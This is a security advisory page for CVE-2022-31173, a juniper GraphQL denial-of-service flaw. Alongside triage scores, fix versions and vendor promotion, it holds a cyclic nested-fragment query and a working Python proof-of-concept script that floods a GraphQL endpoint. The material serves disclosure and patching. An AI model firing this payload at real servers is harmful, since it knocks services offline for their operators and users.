CVE-2022-31173 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in juniper. 1 public exploit reference exists, so weaponization risk is real. A fix is available for juniper — see the affected versions and patch details below.
Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2022-31173.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2022-31173 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
juniperReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
GraphQL behaviour
Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.
# Infinite loop example
query {
...a
}
fragment a on Query {
...b
}
fragment b on Query {
...a
}
POC TLDR
With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise:
However, with a lower size, you will overflow the memory after some iterations.
Reproduction steps (Juniper)
git clone https://github.com/graphql-rust/juniper.git
cd juniper
Save this POC as poc.py
import requests
import time
import json
from itertools import permutations
print('=== Fragments POC ===')
url = 'http://localhost:8080/graphql'
max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]
fragment_payloads = ''
for i, perm in enumerate(perms):
next_perm = perms[i+1] if i < max_size-1 else perms[0]
fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'
payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}
headers = {
'Content-Type': 'application/json',
}
try:
response = requests.request('POST', url, headers=headers, json=payload)
print(response.text)
except requests.exceptions.ConnectionError:
print('Connection closed, POC worked.')
cargo run
[in separate shell] python3 poc.py
Credits
@c3b5aw @MdotTIM @karimhreda
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | juniper | all versions | 0.15.10cargo update -p juniper --precise 0.15.10 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for juniper, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update juniper to 0.15.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2022-31173 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2022-31173 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2022-31173. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2022-31173 in your dependencies?
O3 Security finds CVE-2022-31173 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.